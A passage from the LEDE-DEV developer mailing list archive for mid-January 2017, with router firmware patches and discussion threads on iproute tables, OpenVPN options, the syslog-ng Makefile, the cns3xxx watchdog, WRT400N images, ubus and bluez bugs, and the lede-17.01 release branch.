> -+	if (rtnl_rtrealm_tab)
> -+		return;
> - 	rtnl_rtrealm_tab = xzalloc(sizeof(*rtnl_rtrealm_tab));
> --	rtnl_rtrealm_tab->tab[0] = "unknown";
> --	rtnl_tab_initialize("realms", rtnl_rtrealm_tab->tab);
> -+	rtnl_rtrealm_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtrealm_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtrealm_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("realms", rtnl_rtrealm_tab);
> - }
> -
> - int FAST_FUNC rtnl_rtrealm_a2n(uint32_t *id, char *arg)
> -@@ -176,14 +201,14 @@ int FAST_FUNC rtnl_rtrealm_a2n(uint32_t
> - #if ENABLE_FEATURE_IP_RULE
> - const char* FAST_FUNC rtnl_rtrealm_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtrealm_initialize();
> -
> --	if (rtnl_rtrealm_tab->tab[id])
> --		return rtnl_rtrealm_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtrealm_tab->length; i++)
> -+		if (rtnl_rtrealm_tab->tab[i].id == id)
> -+			return rtnl_rtrealm_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> - #endif
> -@@ -193,22 +218,29 @@ static rtnl_tab_t *rtnl_rtdsfield_tab;
> -
> - static void rtnl_rtdsfield_initialize(void)
> - {
> --	if (rtnl_rtdsfield_tab) return;
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{ 0, "0" }
> -+	};
> -+
> -+	if (rtnl_rtdsfield_tab)
> -+		return;
> - 	rtnl_rtdsfield_tab = xzalloc(sizeof(*rtnl_rtdsfield_tab));
> --	rtnl_rtdsfield_tab->tab[0] = "0";
> --	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab->tab);
> -+	rtnl_rtdsfield_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtdsfield_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtdsfield_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_dsfield_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtdsfield_initialize();
> -
> --	if (rtnl_rtdsfield_tab->tab[id])
> --		return rtnl_rtdsfield_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtdsfield_tab->length; i++)
> -+		if (rtnl_rtdsfield_tab->tab[i].id == id)
> -+			return rtnl_rtdsfield_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -
> -@@ -224,27 +256,33 @@ static rtnl_tab_t *rtnl_rttable_tab;
> -
> - static void rtnl_rttable_initialize(void)
> - {
> -+	static const struct rtnl_tab_entry tab_init[] = {
> -+		{   0, "unspec"  },
> -+		{ 253, "default" },
> -+		{ 254, "main"    },
> -+		{ 255, "local"   }
> -+	};
> -+
> - 	if (rtnl_rttable_tab)
> - 		return;
> -
> - 	rtnl_rttable_tab = xzalloc(sizeof(*rtnl_rttable_tab));
> --	rtnl_rttable_tab->tab[0] = "unspec";
> --	rtnl_rttable_tab->tab[255] = "local";
> --	rtnl_rttable_tab->tab[254] = "main";
> --	rtnl_rttable_tab->tab[253] = "default";
> --	rtnl_tab_initialize("tables", rtnl_rttable_tab->tab);
> -+	rtnl_rttable_tab->tab = xzalloc(sizeof(tab_init));
> -+	rtnl_rttable_tab->length = sizeof(tab_init) / sizeof(tab_init[0]);
> -+	memcpy(rtnl_rttable_tab->tab, tab_init, sizeof(tab_init));
> -+	rtnl_tab_initialize("tables", rtnl_rttable_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_rttable_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rttable_initialize();
> -
> --	if (rtnl_rttable_tab->tab[id])
> --		return rtnl_rttable_tab->tab[id];
> -+	for (i = 0; i < rtnl_rttable_tab->length; i++)
> -+		if (rtnl_rttable_tab->tab[i].id == id)
> -+			return rtnl_rttable_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From luka.perkov at sartura.hr  Mon Jan 16 09:36:12 2017
From: luka.perkov at sartura.hr (Luka Perkov)
Date: Mon, 16 Jan 2017 18:36:12 +0100
Subject: [LEDE-DEV] [PATCH] mbedtls: add static files in staging_dir
In-Reply-To: <65a9b942-f77b-d0f9-dba9-f3676435851a@mein.io>
References: <20170115192634.18408-1-luka.perkov@sartura.hr>
 <65a9b942-f77b-d0f9-dba9-f3676435851a@mein.io>
Message-ID: <20170116173612.GA7737@localhost.localdomain>

Hi Jo,

On Mon, Jan 16, 2017 at 01:02:26PM +0100, Jo-Philipp Wich wrote:
> no objection but you could you provide some brief explanation on why
> this is needed?

This is needed only if one wishes to statically link with mbedtls even
though that at the moment no package is using this.

Luka


From jo at mein.io  Mon Jan 16 10:37:09 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 16 Jan 2017 19:37:09 +0100
Subject: [LEDE-DEV] LEDE 17.01 branched
Message-ID: <42c7b563-e741-97b4-b312-cf85566f8d63@mein.io>

Hi list,

this is just a heads-up to inform you that LEDE master has been branched
into a new branch "lede-17.01" now.

A buildbot system has been set up at
http://release-builds.lede-project.org/17.01/images which will begin
building images and SDKs shortly.

Once the base phase1 builds for each architecture have been finished
within the next two to three days, we will start building the package
repositories for the release branch.


The next 7 days shall be used to work on finalizing the "lede-17.01"
branch and to cherry-pick important outstanding fixes from master.

The plan is to have test builds available until next Monday, the 23th
and to follow up with the final release decision on the same day.

If all goes well, there will be a one week testing period following the
23th until the 30th. If no major issues are found, LEDE v17.01.0 can
then be tagged on Monday, the 30th and final builds shall be available
shortly after.

If serious issues arise during the first testing period, we might decide
to extended by the test phase by a further week until a resolution is found.

If targets or specific images cannot be fixed in time, we should
consider dropping them from the initial release and aim for
adding/fixing them in the next LEDE v17.01.1 point release.


Thanks,
Jo


From philipp_subx at redfish-solutions.com  Mon Jan 16 12:43:02 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 16 Jan 2017 13:43:02 -0700
Subject: [LEDE-DEV] PHP at build time
Message-ID: <12273BF4-4A56-4C47-9812-A698801067EF@redfish-solutions.com>

Hi.

I?m working on a project (some GUI interfaces and a back end for generating traffic shaping using netfilter/tc) written in PHP7.

It uses PHP?s ?composer?.

I could install composer (it?s only ever run once on a released project) on the target machine, and run it on first boot.

But that seems like a waste of space, and if there are any packaging problems, I?d rather detect them early on at build time.

But that requires having PHP in the build environment at build time.

Which is the lessor of the two evils?

And do we go with the OS distribution of PHP7 (assuming it?s available? and it?s not on Ubuntu 14.04 LTS)?  Or build a staging version of?

What are the currently ?blessed? list of OSes and releases to build on, anyway?  I thought I had seen a list somewhere a while ago calling out Ubuntu 14.04 and 16.04 LTS, but couldn?t find it again when I went looking for it.

One last and unrelated question:  I tried to build a package (syslog-ng) in parallel mode on a 12-core system, and it built fine.  But I understand that parallel build conditions are sometimes hard to reproduce.  How does one adequately prove that a package is parallel-build safe?

Thanks,

-Philip



From philipp_subx at redfish-solutions.com  Mon Jan 16 12:45:00 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 16 Jan 2017 13:45:00 -0700
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
Message-ID: <0366D25C-43EA-4A33-9DE8-3736FEA9E88D@redfish-solutions.com>

Looks good to me.


> On Jan 16, 2017, at 4:24 AM, Milan Ko?vara <milankocvara at gmail.com> wrote:
> 
> Hello.
> I found typo in syslog-ng makefile.
> 
> I've upgraded to the newest version and I've made correction of the typo. Patch bellow.
> 
> Sorry for bad format of everything. I did it never :)
> 
> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
> @@ -1,14 +1,14 @@
> include  $(TOPDIR)/rules.mk
> 
> PKG_NAME:=syslog-ng
> -PKG_VERSION:=3.8.1
> -PKG_RELEASE:=3
> +PKG_VERSION:=3.9.1
> +PKG_RELEASE:=1
> 
> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
> 
> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
> 
> PKG_INSTALL:=1
> 
> @@ -41,7 +41,7 @@
> CONFIGURE_ARGS += \
>   $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>          --disable-dependency-tracking \
> -         --disable-ampq \
> +         --disable-amqp \
>          --disable-tcp-wrapper \
>          --disable-glibtest \
>          --disable-mongodb \



From tharvey at gateworks.com  Mon Jan 16 13:37:09 2017
From: tharvey at gateworks.com (Tim Harvey)
Date: Mon, 16 Jan 2017 13:37:09 -0800
Subject: [LEDE-DEV] [PATCH] cns3xxx: restore mpcore watchdog
In-Reply-To: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <CAJ+vNU1p5n3HKhfv=mjqMK4fXOn8z5VkHMVhLQTfWBE6wkd8pg@mail.gmail.com>

On Tue, Jan 10, 2017 at 5:34 AM, Koen Vandeputte
<koen.vandeputte at ncentric.com> wrote:
> Adds the mpcore watchdog driver for kernel 4.4 as it was originally
> present up to kernel 3.12
>
> - Disabled by default for now, but can be simply enabled in kernelconfig
> - Currently does not contain the latest patches as mentioned here:

Koen,

Thanks for submitting this - I agree with Felix that we should add
back the functionality if possible.

The issue mentioned in the commit which removed the driver from
mainline linux [1] regarding 'Nothing ensures the userspace ioctl()
will end-up kicking the watchdog on the right CPU.' is addressed by
the fact that the watchdog register base defined in laguna.c [2] as
the register 'CNS3XXX_TC11MP_TWD_BASE + 0x100' always points to the
CPU0 watchdog as opposed to CNS3XXX_TC11MP_TWD_BASE which would be
aliased to the watchdog of whatever CPU core the process is running.

However, I found after a bit of digging I found that this mainline
driver requires other patches to make the watchdog reliable which
apparently never got accepted upstream [3] [4] [5] [6]. While these
patches were apparently never accepted upstream they were in the
OpenWrt git repo for the 3.10 kernel and below and not surprisingly
got removed when the kernel bumped past 3.10. These patches also need
to be re-added (at least definitely [3]) as without them you'll find
that the timer count is too large and the watchdog will unexpectedly
trip typically within a matter of several minutes.

With these additional patches added I would say that we should also
enable the watchdog in the kernel config.

How do you want to proceed? I could ack your patch (as it adds the
base driver back from mainline but doesn't enable it) then followup
with a patch that adds back the additional patches (to
target/platform/cns3xxx unless there are other targets that use the
arm11mpcore processor and want the twd fixes?) and enables the
watchdog kernel driver. Note that the patches affect other files so we
can't simply merge them all into the files directory.

Regards,

Tim

[1] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6e63a3a294fdf91eaaac1061a9c7a5f53d16ac25
[2] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c;h=4a596125ab5c8ab1b3a1d31e00d406097b2412d0;hb=HEAD#l636
[3] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/992-mpcore_wdt_fix_watchdog_counter_loading.patch;h=ae81f3f384b5805ee64dcbadcaab38aaea1acf1e
[4] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/993-mpcore_wdt_fix_wdioc_setoptions_handling.patch;h=c986ac8f216c2a201875b44fc2fe6a8191680c13
[5] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/994-mpcore_wdt_fix_timer_mode_setup.patch;h=ecc2452cabe058990d56052644e3d328e549df01
[6] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/995-mpcore_twd_calibrate_single_core.patch;h=70411160fac88aeae42a2696039ab9bb5e9f47ba


From mkroken at gmail.com  Mon Jan 16 13:56:03 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Mon, 16 Jan 2017 22:56:03 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: add support for various new 2.4
 configuration options
Message-ID: <1484603763-21334-1-git-send-email-mkroken@gmail.com>

Updates to openvpn.init were included in early OpenVPN 2.4 patch
series, but got lost along the way and were never merged.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
 .../network/services/openvpn/files/openvpn.init    | 43 ++++++++++------------
 1 file changed, 19 insertions(+), 24 deletions(-)

diff --git a/package/network/services/openvpn/files/openvpn.init b/package/network/services/openvpn/files/openvpn.init
index 0fcdc7e..af9c144 100644
--- a/package/network/services/openvpn/files/openvpn.init
+++ b/package/network/services/openvpn/files/openvpn.init
@@ -95,38 +95,33 @@ start_instance() {
 
 	# append flags
 	append_bools "$s" \
-		auth_nocache auth_user_pass_optional bind ccd_exclusive client client_cert_not_required \
-		client_to_client comp_noadapt disable \
-		disable_occ down_pre duplicate_cn fast_io float http_proxy_retry \
+		allow_recursive_routing auth_nocache auth_user_pass_optional bind ccd_exclusive client client_cert_not_required \
+		client_to_client comp_noadapt disable disable_occ down_pre duplicate_cn fast_io float http_proxy_retry \
 		ifconfig_noexec ifconfig_nowarn ifconfig_pool_linear management_forget_disconnect management_hold \
 		management_query_passwords management_signal mktun mlock mtu_test multihome mute_replay_warnings \
-		nobind no_iv no_name_remapping no_replay opt_verify passtos persist_key persist_local_ip \
-		persist_remote_ip persist_tun ping_timer_rem pull push_reset \
-		remote_random rmtun route_noexec route_nopull single_session socks_proxy_retry \
-		suppress_timestamps tcp_nodelay test_crypto tls_client tls_exit tls_server \
+		ncp_disable nobind no_iv no_name_remapping no_replay opt_verify passtos persist_key persist_local_ip \
+		persist_remote_ip persist_tun ping_timer_rem pull push_reset remote_random rmtun route_noexec route_nopull \
+		single_session socks_proxy_retry suppress_timestamps tcp_nodelay test_crypto tls_client tls_exit tls_server \
 		tun_ipv6 up_delay up_restart username_as_common_name
 
 	# append params
 	append_params "$s" \
 		cd askpass auth auth_retry auth_user_pass auth_user_pass_verify bcast_buffers ca cert capath \
-		chroot cipher client_config_dir client_connect client_disconnect comp_lzo connect_freq \
+		chroot cipher client_config_dir client_connect client_disconnect comp_lzo compress connect_freq \
 		connect_retry connect_timeout connect_retry_max crl_verify dev dev_node dev_type dh \
-		echo engine explicit_exit_notify fragment group hand_window hash_size \
-		http_proxy http_proxy_option http_proxy_timeout ifconfig ifconfig_pool \
-		ifconfig_pool_persist ifconfig_push inactive ipchange iroute keepalive \
-		key key_method keysize learn_address link_mtu lladdr local log log_append \
-		lport management management_log_cache max_clients \
-		max_routes_per_client mode mssfix mtu_disc mute nice ns_cert_type ping \
-		ping_exit ping_restart pkcs12 plugin port port_share prng proto rcvbuf \
-		redirect_gateway remap_usr1 remote remote_cert_eku remote_cert_ku remote_cert_tls \
-		reneg_bytes reneg_pkts reneg_sec \
-		replay_persist replay_window resolv_retry route route_delay route_gateway \
-		route_metric route_pre_down route_up rport script_security secret server server_bridge setenv shaper sndbuf \
-		socks_proxy status status_version syslog tcp_queue_limit tls_auth tls_version_min \
-		tls_cipher tls_remote tls_timeout tls_verify tmp_dir topology tran_window \
-		tun_mtu tun_mtu_extra txqueuelen user verb down push up \
-		verify_x509_name x509_username_field \
-		ifconfig_ipv6 route_ipv6 server_ipv6 ifconfig_ipv6_pool ifconfig_ipv6_push iroute_ipv6
+		ecdh_curve echo engine explicit_exit_notify fragment group hand_window hash_size http_proxy \
+		http_proxy_option http_proxy_timeout ifconfig ifconfig_pool ifconfig_pool_persist ifconfig_push \
+		inactive ipchange iroute keepalive key key_method keysize learn_address link_mtu lladdr local \
+		log log_append lport management management_log_cache max_clients max_routes_per_client mode \
+		mssfix mtu_disc mute ncp_ciphers nice ns_cert_type ping ping_exit ping_restart pkcs12 plugin \
+		port port_share prng proto pull_filter rcvbuf redirect_gateway remap_usr1 remote remote_cert_eku \
+		remote_cert_ku remote_cert_tls reneg_bytes reneg_pkts reneg_sec replay_persist replay_window \
+		resolv_retry route route_delay route_gateway route_metric route_pre_down route_up rport \
+		script_security secret server server_bridge setenv shaper sndbuf socks_proxy status status_version \
+		syslog tcp_queue_limit tls_auth tls_crypt tls_version_min tls_cipher tls_timeout \
+		tls_verify tmp_dir topology tran_window tun_mtu tun_mtu_extra txqueuelen user verb \
+		down push up verify_x509_name x509_username_field ifconfig_ipv6 route_ipv6 server_ipv6 \
+		ifconfig_ipv6_pool ifconfig_ipv6_push iroute_ipv6
 
 	openvpn_add_instance "$s" "/var/etc" "openvpn-$s.conf"
 }
-- 
2.1.4



From msm-oss at mcclintock.net  Mon Jan 16 15:51:57 2017
From: msm-oss at mcclintock.net (Matthew McClintock)
Date: Mon, 16 Jan 2017 17:51:57 -0600
Subject: [LEDE-DEV] ubus network restart issue?
Message-ID: <CAEsOVNepG0XNm2SujRFUsZ44=T4iifxb_BEmzGUjJcWp3x3fcg@mail.gmail.com>

All,

I've seen a pretty easy to reproduce ubus issue related to network
restart. I've tested this on various releases include the recently
release LEDE branch as well as OpenWrt CC. I've also tested on more
than one target and with various delays including as long as 2
minutes.

Before:

root at lede:/# ubus list
dhcp
file
iwinfo
log
network
network.device
network.interface
network.interface.lan
network.interface.loopback
network.interface.wan
network.interface.wan6
network.wireless
service
session
system
uci

root at lede:/# while true; do ubus call network restart; sleep 10; ubus list | gre
p network || { echo network failed; ubus list; break; }; done

[ snip - always about 6-7 iterations of the while loop ]

network failed
dhcp
file
iwinfo
log
service
session
system
uci

The end result is that we're unable to make ubus calls to all the
missing objects and we're stuck in this state getting an 'Object not
found' message if we try to operate on the missing items. Running
/etc/init.d/network restart will recover from this state.

Any one have ideas? Any ideas on where to start?

-M


From tharvey at gateworks.com  Mon Jan 16 17:00:57 2017
From: tharvey at gateworks.com (Tim Harvey)
Date: Mon, 16 Jan 2017 17:00:57 -0800
Subject: [LEDE-DEV] bluez 5.38 bluetoothd and/or bluetoothctl not working
Message-ID: <CAJ+vNU2iHQGjDaEFaL0ojvWFf61Bk9e+GWep_BQ+2Y58YWFX4g@mail.gmail.com>

Anyone using bluez on LEDE/OpenWrt that could tell me what could be
wrong with the following?

I'm using the following:
- imx6 based board with 4.4 kernel
- CSR 4.0 USB HCI supported by btusb via kmod-bluetooth package
- lede master
- btusb
- bluez-{daemon,examples,libs,utils} 5.38-1 from packages feed

root at lede:/# bluetoothctl
[bluetooth]# [   45.980509] usb 1-1.4: new full-speed USB device
number 3 using ci_hdrc
[NEW] Controller 00:15:83:6B:E2:BD BlueZ 5.38 [default]
[bluetooth]# list
Controller 00:15:83:6B:E2:BD BlueZ 5.38 [default]
[bluetooth]# show 00:15:83:6B:E2:BD
Controller 00:15:83:6B:E2:BD
        Name: BlueZ 5.38
        Alias: BlueZ 5.38
        Class: 0x000000
        Powered: no
        Discoverable: no
        Pairable: yes
        UUID: Generic Attribute Profile (00001801-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control        (0000110e-0000-1000-8000-00805f9b34fb)
        UUID: PnP Information           (00001200-0000-1000-8000-00805f9b34fb)
        UUID: Generic Access Profile    (00001800-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control Target (0000110c-0000-1000-8000-00805f9b34fb)
        Modalias: usb:v1D6Bp0246d0526
        Discovering: no
[bluetooth]# select 00:15:83:6B:E2:BD
[bluetooth]# show 00:15:83:6B:E2:BD
Controller 00:15:83:6B:E2:BD
        Name: BlueZ 5.38
        Alias: BlueZ 5.38
        Class: 0x000000
        Powered: no
        Discoverable: no
        Pairable: yes
        UUID: Generic Attribute Profile (00001801-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control        (0000110e-0000-1000-8000-00805f9b34fb)
        UUID: PnP Information           (00001200-0000-1000-8000-00805f9b34fb)
        UUID: Generic Access Profile    (00001800-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control Target (0000110c-0000-1000-8000-00805f9b34fb)
        Modalias: usb:v1D6Bp0246d0526
        Discovering: no
[bluetooth]# power on
Failed to set power on: org.freedesktop.DBus.Error.AccessDenied
[bluetooth]# show 00:15:83:6B:E2:BD
Controller 00:15:83:6B:E2:BD
        Name: BlueZ 5.38
        Alias: BlueZ 5.38
        Class: 0x000000
        Powered: no
        Discoverable: no
        Pairable: yes
        UUID: Generic Attribute Profile (00001801-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control        (0000110e-0000-1000-8000-00805f9b34fb)
        UUID: PnP Information           (00001200-0000-1000-8000-00805f9b34fb)
        UUID: Generic Access Profile    (00001800-0000-1000-8000-00805f9b34fb)
        UUID: A/V Remote Control Target (0000110c-0000-1000-8000-00805f9b34fb)
        Modalias: usb:v1D6Bp0246d0526
        Discovering: no
[bluetooth]# scan on
Failed to start discovery: org.freedesktop.DBus.Error.AccessDenied

I can enable and scan devices using 'hciconfig hci0 up; hcitool scan'.

regards,

Tim


From yszhou4tech at gmail.com  Tue Jan 17 00:25:58 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue, 17 Jan 2017 16:25:58 +0800
Subject: [LEDE-DEV] [PATCH v3 0/2] ar71xx: fix making firmwares for
 Linksys WRT400N
In-Reply-To: <1482996419-10245-1-git-send-email-yszhou4tech@gmail.com>
References: <1482996419-10245-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <CAECwjAhJ8HEB3V4ZgF5pjtPDVObeJxF_jmZTywf8m2DM02HdhQ@mail.gmail.com>

Hi,

On 29 December 2016 at 15:26, Yousong Zhou <yszhou4tech at gmail.com> wrote:
> I believe the situation at the moment for WRT400N is like this
>
>  - factory image is broken and will brick the device because the utility
>    wrt400n will truncate the kernel to 1MB.
>  - sysupgrade image is missing from snapshots because the kernel size is too
>    big exceeding the size limit imposed by "linux" part of mtdparts
>

Please consider picking these 2 patches into the lede-17.01 branch as
wrt400n firmwares made with current code are bound to fail.  I made a
patchwork bundle in case it may help:
http://patchwork.ozlabs.org/bundle/yousong/wrt400n/

                yousong

> Lifting size limits of mtdparts is easy.  I was more interested in figuring out
> where did that 0x100000 and 0x2fffc4 limit for factory image come from.
>
> Here are my finding After checking with content of OEM SDK, I believe that only
> crc32sum of the whole firmware was checked and the other 2 crc32sums for kernel
> and rootfs were only written to nvram without actually being checked.  However
> I did find a utility named 'read_fw' using the same limit as the old wrt400n
> here, but it seems that it's just a read-only utility for synthesizing a
> factory from /dev/mtd{2,3}.
>
> Maybe someone with serial console attached to this device can give the patch a
> try.  Bear in mind though it may brick your device and so you MUST prepare
> before hand how to do the unbrick.
>
> Google Drive link for ready-made firmwares:
>
>         https://drive.google.com/drive/folders/0B0ollk-mJJJAaTJmb01hb1pjejg
>
> v3 <- v2
>
>         - Changed from RFT to PATCH (thanks to Frank Horowitz for testing the RFT v2 version)
>         - Rebased on current master (use pad-to instead of append-kernel with blocksize)
>         - wrt400n: add size limit check on kernel and rootfs part as required by OEM system
>
> v2 <- v0:
>
>         - fix crc32 seed value for crc32sum of whole file
>         - fix output file permission bits
>         - fix fw_totalsize calculation
>         - 0xff as the last byte of ih.magic
>
>
> Yousong Zhou (2):
>   tools: wrt400n: fix making factory images with kernel bigger than 1MB
>   ar71xx: wrt400n: lift size limit on kernel and rootfs part
>
>  .../ar71xx/files/arch/mips/ath79/mach-wrt400n.c    |  12 +-
>  target/linux/ar71xx/image/generic.mk               |  22 +
>  target/linux/ar71xx/image/legacy-devices.mk        |   5 -
>  target/linux/ar71xx/image/legacy.mk                |  11 -
>  tools/firmware-utils/src/wrt400n.c                 | 463 +++++++++------------
>  5 files changed, 221 insertions(+), 292 deletions(-)
>
> --
> 2.6.4
>


From yszhou4tech at gmail.com  Tue Jan 17 00:36:14 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue, 17 Jan 2017 16:36:14 +0800
Subject: [LEDE-DEV] [PATCH 2/2] generic: keep module aliases inside
 .modinfo
In-Reply-To: <1484135844-17358-2-git-send-email-yszhou4tech@gmail.com>
References: <1484135844-17358-1-git-send-email-yszhou4tech@gmail.com>
 <1484135844-17358-2-git-send-email-yszhou4tech@gmail.com>
Message-ID: <CAECwjAiS7Qz3X2cBT0YLyqeR+z_OoONJe_VFDdMkszY2K-DKUg@mail.gmail.com>

On 11 January 2017 at 19:57, Yousong Zhou <yszhou4tech at gmail.com> wrote:
> It seems module aliases are actually essential info.  E.g. other modules
> may call xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1) and the
> kernel will request user mode modprobe helper for ipt_hashlimit and
> ip6t_hashlimit respectively which are aliases of xt_hashlimit.ko
>
> Compile-tested for armvirt, there is nearly no size impact.
>

Hi, is there any chance that we include mod alias support in lede-17.01?

It's a clear and straightforward change though was made only recently
and may need more testing feedback.  At the very least, bugfix commits
in ubox repo should be included ;)

               yousong

> Before
>
>     -rw-r--r-- 1 yousong yousong     304 Jan 10 17:37 config.seed
>     -rw-r--r-- 1 yousong yousong    1634 Jan 11 11:07 lede-armvirt-default.manifest
>     -rw-r--r-- 1 yousong yousong 1533647 Jan 11 11:07 lede-armvirt-default-rootfs.tar.gz
>     -rw-r--r-- 1 yousong yousong 1802711 Jan 11 11:07 lede-armvirt-root.ext4.gz
>     -rw-r--r-- 1 yousong yousong 1544597 Jan 11 11:07 lede-armvirt-rootfs.cpio.gz
>     -rw-r--r-- 1 yousong yousong 1174984 Jan 11 11:07 lede-armvirt-root.squashfs.gz
>     -rwxr-xr-x 1 yousong yousong 1654712 Jan 11 11:07 lede-armvirt-zImage
>     -rwxr-xr-x 1 yousong yousong 2738296 Jan 11 11:07 lede-armvirt-zImage-initramfs
>     drwxr-xr-x 2 yousong yousong    4096 Jan 10 17:35 packages
>     -rw-r--r-- 1 yousong yousong     739 Jan 10 17:37 sha256sums
>
> After
>
>     -rw-r--r-- 1 yousong yousong     304 Jan 10 17:37 config.seed
>     -rw-r--r-- 1 yousong yousong    1634 Jan 11 11:10 lede-armvirt-default.manifest
>     -rw-r--r-- 1 yousong yousong 1533646 Jan 11 11:10 lede-armvirt-default-rootfs.tar.gz
>     -rw-r--r-- 1 yousong yousong 1802711 Jan 11 11:10 lede-armvirt-root.ext4.gz
>     -rw-r--r-- 1 yousong yousong 1544593 Jan 11 11:10 lede-armvirt-rootfs.cpio.gz
>     -rw-r--r-- 1 yousong yousong 1174984 Jan 11 11:10 lede-armvirt-root.squashfs.gz
>     -rwxr-xr-x 1 yousong yousong 1654736 Jan 11 11:10 lede-armvirt-zImage
>     -rwxr-xr-x 1 yousong yousong 2738144 Jan 11 11:10 lede-armvirt-zImage-initramfs
>     drwxr-xr-x 2 yousong yousong    4096 Jan 10 17:35 packages
>     -rw-r--r-- 1 yousong yousong     739 Jan 10 17:37 sha256sums
>
> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
> ---
>  target/linux/generic/patches-3.18/204-module_strip.patch | 8 ++------
>  target/linux/generic/patches-4.1/204-module_strip.patch  | 8 ++------
>  target/linux/generic/patches-4.4/204-module_strip.patch  | 8 ++------
>  3 files changed, 6 insertions(+), 18 deletions(-)
>
> diff --git a/target/linux/generic/patches-3.18/204-module_strip.patch b/target/linux/generic/patches-3.18/204-module_strip.patch
> index dab7799..844c3b5 100644
> --- a/target/linux/generic/patches-3.18/204-module_strip.patch
> +++ b/target/linux/generic/patches-3.18/204-module_strip.patch
> @@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
>  ---
>  --- a/include/linux/module.h
>  +++ b/include/linux/module.h
> -@@ -84,9 +84,10 @@ void trim_init_extable(struct module *m)
> +@@ -84,6 +84,7 @@ void trim_init_extable(struct module *m)
>
>   /* Generic info of form tag = "info" */
>   #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
>  +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
>
>   /* For userspace: you can also call me... */
> --#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
> -+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
> -
> - /* Soft module dependencies. See man modprobe.d for details.
> -  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
> + #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
>  @@ -127,12 +128,12 @@ void trim_init_extable(struct module *m)
>    * Author(s), use "Name <email>" or just "Name", for multiple
>    * authors use multiple MODULE_AUTHOR() statements/lines.
> diff --git a/target/linux/generic/patches-4.1/204-module_strip.patch b/target/linux/generic/patches-4.1/204-module_strip.patch
> index 4f5f647..6b5f878 100644
> --- a/target/linux/generic/patches-4.1/204-module_strip.patch
> +++ b/target/linux/generic/patches-4.1/204-module_strip.patch
> @@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
>  ---
>  --- a/include/linux/module.h
>  +++ b/include/linux/module.h
